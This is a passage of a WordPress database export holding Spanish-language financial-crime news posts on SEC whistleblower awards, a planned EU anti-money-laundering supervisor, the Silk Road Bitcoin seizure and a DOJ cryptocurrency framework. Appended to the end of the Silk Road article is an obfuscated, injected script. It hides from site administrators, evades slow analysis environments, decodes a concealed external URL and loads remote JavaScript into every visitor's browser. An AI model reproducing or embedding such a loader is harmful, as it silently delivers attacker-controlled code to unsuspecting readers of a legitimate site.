eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, 